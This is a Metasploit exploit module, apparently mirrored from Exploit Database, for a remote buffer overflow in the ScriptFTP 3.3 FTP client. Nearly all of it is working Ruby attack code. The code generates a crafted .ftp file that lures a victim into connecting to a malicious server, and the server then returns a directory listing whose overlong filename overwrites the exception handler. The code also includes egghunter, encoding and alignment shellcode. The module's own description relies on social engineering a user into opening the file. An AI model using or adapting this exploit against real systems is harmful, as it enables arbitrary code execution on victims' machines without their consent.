ScriptFTP 3.3 – LIST Remote Buffer Overflow (Metasploit) (2)

• Exploit Database
• 92 阅读

• 作者： Metasploit
  日期： 2011-10-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17948/

• ##
  # $Id: scriptftp_list.rb 13841 2011-10-09 05:36:42Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::FtpServer
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)',
  			'Description'=> %q{
  					AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
  				vulnerability that is triggered when processing a sufficiently long filename during
  				a FTP LIST command resulting in overwriting the exception handler. Social engineering
  				of executing a specially crafted ftp file by double click will result in connecting to
  				our malcious server and perform arbitrary code execution which allows the attacker
  				to gain the same rights as the user running ScriptFTP.
  			},
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 13841 $",
  			'Author' =>
  				[
  					'modpr0be', #Vulnerability discovery and original exploit
  					'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
  					'mr_me <steventhomasseeley[at]gmail.com>',# Metasploit module
  				],
  			'References' =>
  				[
  					#[ 'CVE', '?' ],
  					#[ 'OSVDB', '?' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/17876/' ],
  					[ 'URL', 'http://www.kb.cert.org/vuls/id/440219' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  					'DisablePayloadHandler' => 'false',
  				},
  			'Payload'=>
  				{
  					'BadChars'=> "\x00\xff\x0d\x5c\x2f\x0a",
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  					'EncoderOptions'=>
  					{
  						'BufferRegister' => 'EDI',# Egghunter jmp edi
  					}
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# CALL DWORD PTR SS:[EBP-4]
  					# scriptftp.exe - File version=Build 3/9/2009
  					[ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2011',
  			'DefaultTarget'=> 0))
  
  			register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.ftp']),
  			], self.class)
  
  	end
  
  	def setup
  		if datastore['SRVHOST'] == '0.0.0.0'
  			lhost = Rex::Socket.source_address('50.50.50.50')
  		else
  			lhost = datastore['SRVHOST']
  		end
  
  		ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"
  		ftp_file << "SETPASSIVE(ENABLED)\r\n"
  		ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
  		ftp_file << "CLOSEHOST\r\n"
  
  		print_status("Creating '#{datastore['FILENAME']}'...")
  		file_create(ftp_file)
  		super
  	end
  
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  	def on_client_command_list(c,arg)
  
  		conn = establish_data_connection(c)
  		if(not conn)
  			c.put("425 Can't build data connection\r\n")
  			return
  		end
  
  		print_status(" - Data connection set up")
  		code = 150
  		c.put("#{code} Here comes the directory listing.\r\n")
  
  		code = 226
  		c.put("#{code} Directory send ok.\r\n")
  
  		eggoptions =
  		{
  			:checksum => false,
  			:eggtag => 'cure'
  		}
  
  		hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
  
  		# Encode with alphamixed, then unicode mixed
  		[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
  			enc = framework.encoders.create(name)
  			if name =~ /unicode/
  				# aligned to ESP & EAX
  				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
  			else
  				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
  			end
  			# NOTE: we already eliminated badchars
  			hunter = enc.encode(hunter, nil, nil, platform)
  			if name =~/alpha/
  				#insert getpc_stub & align EDX, unicode encoder friendly.
  				#Hardcoded stub is not an issue here because it gets encoded anyway
  				getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
  				hunter = getpc_stub + hunter
  			end
  		}
  
  		unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL
  
  		nseh = "\x61" << unicode_nop
  		seh = target.ret
  
  		alignment = "\x54"# PUSH ESP
  		alignment << unicode_nop
  		alignment << "\x58"# POP EAX
  		alignment << unicode_nop
  		alignment << "\x05\x12\x11"# ADD EAX,11001200
  		alignment << unicode_nop
  		alignment << "\x2d\x01\x01"# SUB EAX,1000100
  		alignment << unicode_nop
  		alignment << "\x2d\x01\x10"# SUB EAX,10000100
  		alignment << unicode_nop
  		alignment << "\x50"# PUSH EAX
  		alignment << unicode_nop
  		alignment << "\xc3"# RETN
  
  		buffer = rand_text_alpha(656)
  		buffer << hunter
  		buffer << rand_text_alpha(target['Offset']-buffer.length)
  		buffer << nseh
  		buffer << seh
  		buffer << alignment
  		buffer << rand_text_alpha(500)
  		buffer << egg
  
  		print_status(" - Sending directory list via data connection")
  		dirlist ="-rwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 #{buffer}.txt\r\n"
  		dirlist << " 5 ftpuserftpusers 512 Jul 262001 A\r\n"
  		dirlist << "rwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 #{buffer}.txt\r\n"
  
  		conn.put(dirlist)
  		conn.close
  		return
  	end
  
  end
  

  PowerShell

  Copy